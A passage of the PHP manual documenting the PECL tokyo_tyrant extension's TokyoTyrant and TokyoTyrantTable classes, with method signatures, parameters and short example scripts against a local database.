/* Adds integer 3 to key and creates a new key */
$tt->add("test", 3);

/* String value is converted to double */
echo $tt->add("test", "3.5", TokyoTyrant::RDBREC_DBL);
?>

The above example will output something similar to:

6.5

See Also

  • TokyoTyrant::put() - Puts values
  • TokyoTyrant::putcat() - Concatenates to a record
  • TokyoTyrant::putkeep() - Puts a record

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant
TokyoTyrant::connect
TokyoTyrant


Connect to a database

TokyoTyrant::add
TokyoTyrant::connectUri
TokyoTyrant
PHP Manual

TokyoTyrant::connect

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::connect — Connect to a database

Description

public TokyoTyrant TokyoTyrant::connect ( string $host [, int $port = TokyoTyrant::RDBDEF_PORT [, array $options ]] )

Connects to a remote database

Parameters

host

The hostname

port

The port. Default: 1978

options

Connection options: timeout (default: 5.0), reconnect (default: TRUE) and persistent (default: TRUE)

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::connect() example

<?php
$tt = new TokyoTyrant();
$tt->connect("localhost", TokyoTyrant::RDBDEF_PORT)->put("test", "value");
?>

See Also

  • TokyoTyrant::connectUri() - Connects to a database

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::add
TokyoTyrant::connectUri
TokyoTyrant


Connects to a database

TokyoTyrant::connect
TokyoTyrant::__construct
TokyoTyrant
PHP Manual

TokyoTyrant::connectUri

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::connectUri — Connects to a database

Description

public TokyoTyrant TokyoTyrant::connectUri ( string $uri )

Connects to a database using an uri

Parameters

uri

An URI to the database. For example tcp://localhost:1979/

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::connectUri() example

<?php
$tt = new TokyoTyrant();
$tt->connectUri("tcp://localhost:1978/")->put("test", "hi");
?>

See Also

  • TokyoTyrant::connect() - Connect to a database

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::connect
TokyoTyrant::__construct
TokyoTyrant


Construct a new TokyoTyrant object

TokyoTyrant::connectUri
TokyoTyrant::copy
TokyoTyrant
PHP Manual

TokyoTyrant::__construct

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::__construct — Construct a new TokyoTyrant object

Description

public TokyoTyrant::__construct ([ string $host [, int $port = TokyoTyrant::RDBDEF_PORT [, array $options ]]] )

Constructs a new TokyoTyrant object and optionally connects to the database

Parameters

host

The hostname. Default: NULL

port

port number. Default: 1978

options

Connection options: timeout (default: 5.0), reconnect (default: TRUE) and persistent (default: TRUE)

Return Values

Throws TokyoTyrantException if connection to database fails

See Also

  • TokyoTyrant::connect() - Connect to a database
  • TokyoTyrant::connectUri() - Connects to a database

User Contributed Notes

bit dot kevin at gmail dot com 25-Sep-2010 02:55
Catch The Exception
<?php
        try {
            $tt = new TokyoTyrant("192.168.1.100", 11211);
        }catch (TokyoTyrantException $e) {
            var_dump($e);
            exit;
        }
?>
TokyoTyrant::connectUri
TokyoTyrant::copy
TokyoTyrant


Copies the database

TokyoTyrant::__construct
TokyoTyrant::ext
TokyoTyrant
PHP Manual

TokyoTyrant::copy

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::copy — Copies the database

Description

public TokyoTyrant TokyoTyrant::copy ( string $path )

Makes a copy of the current database

Parameters

path

Path to where to copy the database. The user running the remote database must have a write access to the directory.

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::copy() example

<?php
$tt = new TokyoTyrant("localhost", 1978);
$tt->copy("/tmp/foobar.tct");
?>

See Also

  • TokyoTyrant::restore() - Restore the database

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::__construct
TokyoTyrant::ext
TokyoTyrant


Execute a remote script

TokyoTyrant::copy
TokyoTyrant::fwmKeys
TokyoTyrant
PHP Manual

TokyoTyrant::ext

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::ext — Execute a remote script

Description

public string TokyoTyrant::ext ( string $name , int $options , string $key , string $value )

Executes a remote script extension.

Parameters

name

Name of the function to execute

options

Either TokyoTyrant::RDBXO_LCKREC for record locking and TokyoTyrant::RDBXO_LCKGLB for global locking.

key

The key to pass to the function

value

The value to pass to the function

Return Values

Returns the result of the script function

Examples

Example #1 TokyoTyrant::ext() example

<?php
$tt = new TokyoTyrant("localhost", 1978);
echo $tt->ext("somefunc", TokyoTyrant::RDBXO_LCKREC, "some_key", "some_value");
?>

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::copy
TokyoTyrant::fwmKeys
TokyoTyrant


Returns the forward matching keys

TokyoTyrant::ext
TokyoTyrant::get
TokyoTyrant
PHP Manual

TokyoTyrant::fwmKeys

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::fwmKeys — Returns the forward matching keys

Description

public array TokyoTyrant::fwmKeys ( string $prefix , int $max_recs )

Returns the forward matching keys from the database

Parameters

prefix

Prefix of the keys

max_recs

Maximum records to return

Return Values

Returns an array of matching keys. The values are not returned

Examples

Example #1 TokyoTyrant::fwmKeys() example

<?php

$tt = new TokyoTyrant("localhost");

/* Create 20 macthing keys */
for ($i = 0; $i < 20; $i++) {
    $tt->put("key_" . $i, "value_" . $i);
}

/* Create 20 non-macthing keys */
for ($i = 0; $i < 20; $i++) {
    $tt->put("something_" . $i, "data_" . $i);
}

/* Get five matching keys */
var_dump($tt->fwmKeys("key_", 5));
?>

The above example will output something similar to:

array(5) {
  [0]=>
  string(5) "key_5"
  [1]=>
  string(6) "key_14"
  [2]=>
  string(5) "key_6"
  [3]=>
  string(6) "key_15"
  [4]=>
  string(5) "key_7"
}

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::ext
TokyoTyrant::get
TokyoTyrant


The get purpose

TokyoTyrant::fwmKeys
TokyoTyrant::getIterator
TokyoTyrant
PHP Manual

TokyoTyrant::get

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::get — The get purpose

Description

public mixed TokyoTyrant::get ( mixed $keys )

This method is used to return a value or multiple values. This method accepts a string or an array as a value.

Parameters

keys

A string key or an array of string keys

Return Values

Returns a string or an array based on the given parameters. Throws a TokyoTyrantException on error. If string is passed null is returned if the key is not found. In case an array is given as an parameter only existing keys will be returned. It is not an error to pass a key that does not exist.

Examples

Example #1 TokyoTyrant::get() example

<?php
$tt = new TokyoTyrant("localhost", 1978);
$tt->put("key1", "value1");
$tt->put("key2", "value2");
var_dump($tt->get(array("key1", "key2")));
var_dump($tt->get("key1"));
?>

The above example will output:

array(2) {
  ["key1"]=>
  string(6) "value1"
  ["key2"]=>
  string(6) "value2"
}
string(6) "value1"

See Also

  • TokyoTyrant::put() - Puts values

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::fwmKeys
TokyoTyrant::getIterator
TokyoTyrant


Get an iterator

TokyoTyrant::get
TokyoTyrant::num
TokyoTyrant
PHP Manual

TokyoTyrant::getIterator

(No version information available, might only be in SVN)

TokyoTyrant::getIterator — Get an iterator

Description

public TokyoTyrantIterator TokyoTyrant::getIterator ( void )

Gets an iterator for iterating all keys / values in the database.

Parameters

This function has no parameters.

Return Values

This method returns TokyoTyrantIterator object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::getIterator() example

<?php
$tt = new TokyoTyrant("localhost");
$it = $tt->getIterator();

foreach ($it as $k => $v) {

}
?>

See Also

  • TokyoTyrantTable::getQuery() - Get a query object
  • TokyoTyrantTable::getIterator() - Get an iterator

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::get
TokyoTyrant::num
TokyoTyrant


Number of records in the database

TokyoTyrant::getIterator
TokyoTyrant::out
TokyoTyrant
PHP Manual

TokyoTyrant::num

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::num — Number of records in the database

Description

public int TokyoTyrant::num ( void )

Returns the number of records in the database

Parameters

This function has no parameters.

Return Values

Returns number of records in the database

Examples

Example #1 TokyoTyrant::num() example

<?php
/* Connect to a database on default port */
$tt = new TokyoTyrant("localhost");

/* Echo the number of records */
echo $tt->num();
?>

The above example will output something similar to:

1234

See Also

  • TokyoTyrant::stat() - Get statistics

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::getIterator
TokyoTyrant::out
TokyoTyrant


Removes records

TokyoTyrant::num
TokyoTyrant::put
TokyoTyrant
PHP Manual

TokyoTyrant::out

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::out — Removes records

Description

public TokyoTyrant TokyoTyrant::out ( mixed $keys )

Removes a record or multiple records. This method accepts a string for a single key or an array of keys for multiple records.

Parameters

keys

A string key or an array of string keys

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::out() example

<?php
/* Connect to a database on default port */
$tt = new TokyoTyrant("localhost");

$tt->put("test1", "value1");
$tt->put("test2", "value2");

$tt->out(array("test1", "test2"));
?>

See Also

  • TokyoTyrant::put() - Puts values

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::num
TokyoTyrant::put
TokyoTyrant


Puts values

TokyoTyrant::out
TokyoTyrant::putCat
TokyoTyrant
PHP Manual

TokyoTyrant::put

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::put — Puts values

Description

public TokyoTyrant TokyoTyrant::put ( mixed $keys [, string $value = NULL ] )

Puts a key-value pair into the database or multiple key-value pairs. If keys is string then the second parameter value defines the value. The second parameter is mandatory if keys is a string. If the key exists the value will be replaced with new value.

Parameters

keys

A string key or an array of key-value pairs

value

The value in case a string key is used

Return Values

This method returns a reference to the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::put() example

<?php
/* Connect to a database on default port */
$tt = new TokyoTyrant("localhost");

/* Put single key-value pair */
$tt->put("key", "value");

/* Put key-value pairs, new value overwrites the old */
$tt->put(array("key1" => "value1", "key" => "value2"));

/* Get back one key */
echo $tt->get("key");
?>

The above example will output:

value2

See Also

  • TokyoTyrant::putKeep() - Puts a record
  • TokyoTyrant::putCat() - Concatenates to a record

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::out
TokyoTyrant::putCat
TokyoTyrant


Concatenates to a record

TokyoTyrant::put
TokyoTyrant::putKeep
TokyoTyrant
PHP Manual

TokyoTyrant::putCat

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::putCat — Concatenates to a record

Description

public TokyoTyrant TokyoTyrant::putCat ( mixed $keys [, string $value ] )

Appends a value into existing key or multiple values if keys is an array. The second parameter is mandatory if keys is a string. If the record does not exist a new record is created.

Parameters

keys

A string key or an array of key-value pairs

value

The value in case a string key is used

Return Values

This method returns a reference to the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::putCat() example

<?php
/* Connect to a database on default port */
$tt = new TokyoTyrant("localhost");

/* Create a new key */
$tt->put("key", "value");

/* Concatenate single key-value pair */
$tt->putCat("key", " has more data");

/* Echo the key */
echo $tt->get("key");
?>

The above example will output:

value has more data

See Also

  • TokyoTyrant::put() - Puts values
  • TokyoTyrant::putKeep() - Puts a record

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::put
TokyoTyrant::putKeep
TokyoTyrant


Puts a record

TokyoTyrant::putCat
TokyoTyrant::putNr
TokyoTyrant
PHP Manual

TokyoTyrant::putKeep

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::putKeep — Puts a record

Description

public TokyoTyrant TokyoTyrant::putKeep ( mixed $keys [, string $value ] )

Puts a key-value pair into the database or multiple key-value pairs. If keys is string then the second parameter value defines the value. The second parameter is mandatory if keys is a string. If the key already exists this method throws an exception indicating that the records exists.

Parameters

keys

A string key or an array of key-value pairs

value

The string value

Return Values

This method returns a reference to the current object and throws TokyoTyrantException on failure.

Examples

Example #1 tokyotyrant::putKeep() example

<?php
/* Connect to a database on default port */
$tt = new TokyoTyrant("localhost");

/* Create a new key */
$tt->put("key", "value");

try {
    $tt->putKeep("key", "new value");
} catch (TokyoTyrantException $e) {
    if ($e->getCode() === TokyoTyrant::TTE_KEEP) {
        echo "Existing record! Not modified\n";
    } else {
        echo "Error: " , $e->getMessage() , "\n";
    }
}
echo $tt->get("key");
?>

The above example will output:

Existing record! Not modified
value

See Also

  • TokyoTyrant::put() - Puts values
  • TokyoTyrant::putCat() - Concatenates to a record

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::putCat
TokyoTyrant::putNr
TokyoTyrant


Puts value

TokyoTyrant::putKeep
TokyoTyrant::putShl
TokyoTyrant
PHP Manual

TokyoTyrant::putNr

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::putNr — Puts value

Description

public TokyoTyrant TokyoTyrant::putNr ( mixed $keys [, string $value = NULL ] )

Puts a key-value pair into the database or multiple key-value pairs. If keys is string then the second parameter value defines the value. The second parameter is mandatory if keys is a string. This method does not wait for the response from the server.

Parameters

keys

A string key or an array of key-value pairs

value

The value in case a string key is used

Return Values

This method returns a reference to the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::putNr() example

<?php
/* Connect to a database on default port */
$tt = new TokyoTyrant("localhost");

/* Put single key-value pair */
$tt->putNr("key", "value");

/* Put key-value pairs */
$tt->putNr(array("key1" => "value1", "key2" => "value2"));

/* Get back one key */
echo $tt->get("key1");
?>

The above example will output:

value1

See Also

  • TokyoTyrant::putNr()
  • TokyoTyrant::putKeep() - Puts a record
  • TokyoTyrant::putCat() - Concatenates to a record

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::putKeep
TokyoTyrant::putShl
TokyoTyrant


Concatenates to a record

TokyoTyrant::putNr
TokyoTyrant::restore
TokyoTyrant
PHP Manual

TokyoTyrant::putShl

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::putShl — Concatenates to a record

Description

public mixed TokyoTyrant::putShl ( string $key , string $value , int $width )

Concatenate to a record and shift to left.

Parameters

key

A string key

value

The value to concatenate

width

The width of the record

Return Values

This method returns a reference to the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::putShl() example

<?php
/* Connect to a database on default port */
$tt = new TokyoTyrant("localhost");

/* Create a new key */
$tt->put("key", "just a long piece of data");

/* Concatenate and shift to left */
$tt->putShl("key", " and string", 15);

/* Echo the key */
echo $tt->get("key");
?>

The above example will output:

data and string

See Also

  • TokyoTyrant::put() - Puts values
  • TokyoTyrant::putKeep() - Puts a record
  • TokyoTyrant::putCat() - Concatenates to a record

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::putNr
TokyoTyrant::restore
TokyoTyrant


Restore the database

TokyoTyrant::putShl
TokyoTyrant::setMaster
TokyoTyrant
PHP Manual

TokyoTyrant::restore

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::restore — Restore the database

Description

public mixed TokyoTyrant::restore ( string $log_dir , int $timestamp [, bool $check_consistency = true ] )

Restore the database from the update log.

Warning

This method is not supported on 32bit platforms.

Parameters

log_dir

Directory where the log is

timestamp

Beginning timestamp with microseconds

check_consistency

Whether to check consistency: Default: TRUE

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::putShl
TokyoTyrant::setMaster
TokyoTyrant


Set the replication master

TokyoTyrant::restore
TokyoTyrant::size
TokyoTyrant
PHP Manual

TokyoTyrant::setMaster

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::setMaster — Set the replication master

Description

public mixed TokyoTyrant::setMaster ( string $host , int $port , int $timestamp [, bool $check_consistency = true ] )

Sets the replication master of the database

Warning

This method is not supported on 32bit platforms.

Parameters

host

Hostname of the replication master. If NULL the replication is disabled.

port

Port of the replication master

timestamp

Beginning timestamp with microseconds

check_consistency

Whether to check consistency.

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::setMaster() example

<?php
/* Connect to a database */
$tt = new TokyoTyrant("tokyotyrant.example.com");

/* Disable the replication */
$tt->setMaster(NULL, 0, 0);
?>

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::restore
TokyoTyrant::size
TokyoTyrant


Returns the size of the value

TokyoTyrant::setMaster
TokyoTyrant::stat
TokyoTyrant
PHP Manual

TokyoTyrant::size

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::size — Returns the size of the value

Description

public int TokyoTyrant::size ( string $key )

Returns the size of a value by key

Parameters

key

The key of which size to fetch

Return Values

Returns the size of the key or throw TokyoTyrantException on error

Examples

Example #1 TokyoTyrant::size() example

<?php
$tt = new TokyoTyrant("localhost");

$tt->put("test_key", "12345");

echo $tt->size("test_key");
?>

The above example will output:

5

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::setMaster
TokyoTyrant::stat
TokyoTyrant


Get statistics

TokyoTyrant::size
TokyoTyrant::sync
TokyoTyrant
PHP Manual

TokyoTyrant::stat

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::stat — Get statistics

Description

public array TokyoTyrant::stat ( void )

Returns statistics of the remote database

Parameters

This function has no parameters.

Return Values

Returns an array of key value pairs describing the statistics

Examples

Example #1 TokyoTyrant::stat() example

<?php
$tt = new TokyoTyrant("localhost");

var_dump($tt->stat());
?>

The above example will output something similar to:

array(19) {
  ["version"]=>
  string(6) "1.1.28"
  ["libver"]=>
  string(3) "311"
  ["protver"]=>
  string(4) "0.91"
  ["os"]=>
  string(5) "Linux"
  ["time"]=>
  string(17) "1247358357.665630"
  ["pid"]=>
  string(5) "14348"
  ["sid"]=>
  string(8) "59025947"
  ["type"]=>
  string(9) "on-memory"
  ["path"]=>
  string(1) "*"
  ["rnum"]=>
  string(1) "4"
  ["size"]=>
  string(6) "262856"
  ["bigend"]=>
  string(1) "0"
  ["fd"]=>
  string(1) "5"
  ["loadavg"]=>
  string(8) "0.000000"
  ["memsize"]=>
  string(8) "77328384"
  ["memrss"]=>
  string(7) "1183744"
  ["ru_real"]=>
  string(13) "162776.042152"
  ["ru_user"]=>
  string(8) "0.476029"
  ["ru_sys"]=>
  string(8) "8.652540"
}

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::size
TokyoTyrant::sync
TokyoTyrant


Synchronize the database

TokyoTyrant::stat
TokyoTyrant::tune
TokyoTyrant
PHP Manual

TokyoTyrant::sync

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::sync — Synchronize the database

Description

public mixed TokyoTyrant::sync ( void )

Synchronizes the database on to the physical device

Parameters

This function has no parameters.

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::stat
TokyoTyrant::tune
TokyoTyrant


Tunes connection values

TokyoTyrant::sync
TokyoTyrant::vanish
TokyoTyrant
PHP Manual

TokyoTyrant::tune

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrant::tune — Tunes connection values

Description

public TokyoTyrant TokyoTyrant::tune ( float $timeout [, int $options = TokyoTyrant::RDBT_RECON ] )

Tunes database connection options.

Parameters

timeout

The objects timeout value (default: 5.0)

options

Bitmask of options to tune. This can be either 0 or TokyoTyrant::RDBT_RECON. It is recommended not to change the second parameter.

Return Values

This method returns a reference to the current object and throws TokyoTyrantException on failure.

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::sync
TokyoTyrant::vanish
TokyoTyrant


Empties the database

TokyoTyrant::tune
TokyoTyrantTable
TokyoTyrant
PHP Manual

TokyoTyrant::vanish

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::vanish — Empties the database

Description

public mixed TokyoTyrant::vanish ( void )

Empties a remote database

Parameters

This function has no parameters.

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::vanish() example

<?php
$tt = new TokyoTyrant("localhost");
$tt->vanish();
?>

See Also

  • TokyoTyrant::out() - Removes records

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::tune
TokyoTyrantTable
TokyoTyrant


The TokyoTyrantTable class

(No version information available, might only be in SVN)

Introduction

Provides an API to the table databases. A table database can be create using the following command: ttserver -port 1979 /tmp/tt_table.tct. In Tokyo Tyrant the table API is a schemaless database which can store arbitrary amount of key-value pairs under a single primary key.

Class synopsis

TokyoTyrantTable extends TokyoTyrant {
/* Methods */
public void add ( string $key , mixed $increment [, string $type ] )
public int genUid ( void )
public void get ( mixed $keys )
public TokyoTyrantIterator getIterator ( void )
public TokyoTyrantQuery getQuery ( void )
public void out ( mixed $keys )
public int put ( string $key , array $columns )
public void putCat ( string $key , array $columns )
public void putKeep ( string $key , array $columns )
public void putNr ( mixed $keys [, string $value ] )
public void putShl ( string $key , string $value , int $width )
public mixed setIndex ( string $column , int $type )
/* Inherited methods */
public number TokyoTyrant::add ( string $key , number $increment [, int $type = 0 ] )
public TokyoTyrant TokyoTyrant::connect ( string $host [, int $port = TokyoTyrant::RDBDEF_PORT [, array $options ]] )
public TokyoTyrant TokyoTyrant::connectUri ( string $uri )
public TokyoTyrant::__construct ([ string $host [, int $port = TokyoTyrant::RDBDEF_PORT [, array $options ]]] )
public TokyoTyrant TokyoTyrant::copy ( string $path )
public string TokyoTyrant::ext ( string $name , int $options , string $key , string $value )
public array TokyoTyrant::fwmKeys ( string $prefix , int $max_recs )
public mixed TokyoTyrant::get ( mixed $keys )
public TokyoTyrantIterator TokyoTyrant::getIterator ( void )
public int TokyoTyrant::num ( void )
public TokyoTyrant TokyoTyrant::out ( mixed $keys )
public TokyoTyrant TokyoTyrant::put ( mixed $keys [, string $value = NULL ] )
public TokyoTyrant TokyoTyrant::putCat ( mixed $keys [, string $value ] )
public TokyoTyrant TokyoTyrant::putKeep ( mixed $keys [, string $value ] )
public TokyoTyrant TokyoTyrant::putNr ( mixed $keys [, string $value = NULL ] )
public mixed TokyoTyrant::putShl ( string $key , string $value , int $width )
public mixed TokyoTyrant::restore ( string $log_dir , int $timestamp [, bool $check_consistency = true ] )
public mixed TokyoTyrant::setMaster ( string $host , int $port , int $timestamp [, bool $check_consistency = true ] )
public int TokyoTyrant::size ( string $key )
public array TokyoTyrant::stat ( void )
public mixed TokyoTyrant::sync ( void )
public TokyoTyrant TokyoTyrant::tune ( float $timeout [, int $options = TokyoTyrant::RDBT_RECON ] )
public mixed TokyoTyrant::vanish ( void )
}

Table of Contents

  • TokyoTyrantTable::add — Adds a record
  • TokyoTyrantTable::genUid — Generate unique id
  • TokyoTyrantTable::get — Get a row
  • TokyoTyrantTable::getIterator — Get an iterator
  • TokyoTyrantTable::getQuery — Get a query object
  • TokyoTyrantTable::out — Remove records
  • TokyoTyrantTable::put — Store a row
  • TokyoTyrantTable::putCat — Concatenates to a row
  • TokyoTyrantTable::putKeep — Put a new record
  • TokyoTyrantTable::putNr — Puts value
  • TokyoTyrantTable::putShl — Concatenates to a record
  • TokyoTyrantTable::setIndex — Sets index

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrant::vanish
TokyoTyrantTable::add
tokyo_tyrant


Adds a record

TokyoTyrantTable
TokyoTyrantTable::genUid
TokyoTyrantTable
PHP Manual

TokyoTyrantTable::add

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::add — Adds a record

Description

public void TokyoTyrantTable::add ( string $key , mixed $increment [, string $type ] )

This method is not supported with table databases.

Parameters

key

The string key

increment

The amount to increment

type

TokyoTyrant::RDB_RECINT or TokyoTyrant::RDB_RECDBL constant. If this parameter is omitted the type is guessed from the increment parameters type.

Return Values

This method throws an TokyoTyrantException if used through this class.

See Also

  • TokyoTyrant::add() - Adds to a numeric key

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantTable
TokyoTyrantTable::genUid
TokyoTyrantTable


Generate unique id

TokyoTyrantTable::add
TokyoTyrantTable::get
TokyoTyrantTable
PHP Manual

TokyoTyrantTable::genUid

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::genUid — Generate unique id

Description

public int TokyoTyrantTable::genUid ( void )

Generates an unique id inside the table database. In table databases rows are referenced using a numeric primary key.

Parameters

This function has no parameters.

Return Values

Returns an unique id or throws TokyoTyrantException on error

Examples

Example #1 TokyoTyrantTable::genUid() example

<?php
$tt = new TokyoTyrantTable("localhost", 1122);

echo $tt->genUid();
?>

The above example will output something similar to:

4

See Also

  • TokyoTyrantTable::put() - Store a row

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantTable::add
TokyoTyrantTable::get
TokyoTyrantTable


Get a row

TokyoTyrantTable::genUid
TokyoTyrantTable::getIterator
TokyoTyrantTable
PHP Manual

TokyoTyrantTable::get

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::get — Get a row

Description

public void TokyoTyrantTable::get ( mixed $keys )

Gets a row from table database. keys is a single integer for the primary key of the row or an array of integers for multiple rows.

Parameters

keys

The primary key, can be a string or an integer

Return Values

Returns the row as an array

Examples

Example #1 TokyoTyrantTable::get() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Passing null to put generates a new uid */
$index = $tt->put(null, array("column1" => "some data", "column2" => "more data"));

/* Get the row back */
var_dump($tt->get($index));
?>

The above example will output:

array(2) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
}

Notes

Note:

Starting from version 0.3.0 this method accepts array as parameter. Please note that multi-get on tables is not binary-safe.

See Also

  • TokyoTyrantTable::put() - Store a row

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantTable::genUid
TokyoTyrantTable::getIterator
TokyoTyrantTable


Get an iterator

TokyoTyrantTable::get
TokyoTyrantTable::getQuery
TokyoTyrantTable
PHP Manual

TokyoTyrantTable::getIterator

(No version information available, might only be in SVN)

TokyoTyrantTable::getIterator — Get an iterator

Description

public TokyoTyrantIterator TokyoTyrantTable::getIterator ( void )

Gets an iterator for iterating all keys / values in the database.

Parameters

This function has no parameters.

Return Values

This method returns TokyoTyrantIterator object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrantTable::getIterator() example

<?php
$tt = new TokyoTyrantTable("localhost");
$it = $tt->getIterator();

foreach ($it as $k => $v) {
  var_dump($k, $v);
}
?>

See Also

  • TokyoTyrantTable::getQuery() - Get a query object
  • TokyoTyrant::getIterator() - Get an iterator

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantTable::get
TokyoTyrantTable::getQuery
TokyoTyrantTable


Get a query object

TokyoTyrantTable::getIterator
TokyoTyrantTable::out
TokyoTyrantTable
PHP Manual

TokyoTyrantTable::getQuery

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::getQuery — Get a query object

Description

public TokyoTyrantQuery TokyoTyrantTable::getQuery ( void )

Get a query object to execute searches on the database

Parameters

This function has no parameters.

Return Values

Returns TokyoTyrantQuery on success and throws TokyoTyrantException on error

Examples

Example #1 TokyoTyrantTable::getQuery() example

<?php
/* Connect to a table database */
$table = new TokyoTyrantTable("localhost", 1979);

/* Put a few rows */
$table->put(null, array("column1" => "some data", "column2" => "more data"));
$table->put(null, array("something" => "value", "data" => "good data"));

/* Get query object */
$query = $table->getQuery();

/* Add condition to query */
$query->addCond('data', TokyoTyrant::RDBQC_STREQ, 'good data');

/* Get matching rows */
var_dump($query->search());
?>

The above example will output something similar to:

array(1) {
  [11]=>
  array(2) {
    ["something"]=>
    string(5) "value"
    ["data"]=>
    string(9) "good data"
  }
}

See Also

  • TokyoTyrantQuery::search() - Searches records
  • TokyoTyrantQuery::out() - Removes records based on query

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantTable::getIterator
TokyoTyrantTable::out
TokyoTyrantTable


Remove records

TokyoTyrantTable::getQuery
TokyoTyrantTable::put
TokyoTyrantTable
PHP Manual

TokyoTyrantTable::out

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::out — Remove records

Description

public void TokyoTyrantTable::out ( mixed $keys )

Removes records from a table database.

Parameters

keys

A single integer key or an array of integers

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrantTable::out() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Passing null to put generates a new uid */
$index = $tt->put(null, array("column1" => "some data", "column2" => "more data"));

/* Delete the row */
$tt->out($index);
?>

See Also

  • TokyoTyrantTable::put() - Store a row

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantTable::getQuery
TokyoTyrantTable::put
TokyoTyrantTable


Store a row

TokyoTyrantTable::out
TokyoTyrantTable::putCat
TokyoTyrantTable
PHP Manual

TokyoTyrantTable::put

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::put — Store a row

Description

public int TokyoTyrantTable::put ( string $key , array $columns )

Puts a new row into the database. This method parameters are key which is the primary key of the row, passing NULL will generate a new unique id. value is an array containing the row contents which is usually key value pairs.

Parameters

key

The primary key of the row

columns

The row contents

Return Values

Returns the primary key on success and throws TokyoTyrantException on error

Examples

Example #1 TokyoTyrantTable::put() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Passing null to put generates a new uid */
$index = $tt->put(null, array("column1" => "some data", "column2" => "more data"));

/* Get the row back */
var_dump($tt->get($index));

/* Modify an existing row */
$tt->put($index, array("column1" => "other data", "column2" => "better data"));

/* Get the row back */
var_dump($tt->get($index));
?>

The above example will output:

array(2) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
}
array(2) {
  ["column1"]=>
  string(10) "other data"
  ["column2"]=>
  string(11) "better data"
}

See Also

  • TokyoTyrantTable::get() - Get a row

User Contributed Notes

There are no user contributed notes for this page.
TokyoTyrantTable::out
TokyoTyrantTable::putCat
TokyoTyrantTable


Concatenates to a row

TokyoTyrantTable::put
TokyoTyrantTable::putKeep
TokyoTyrantTable
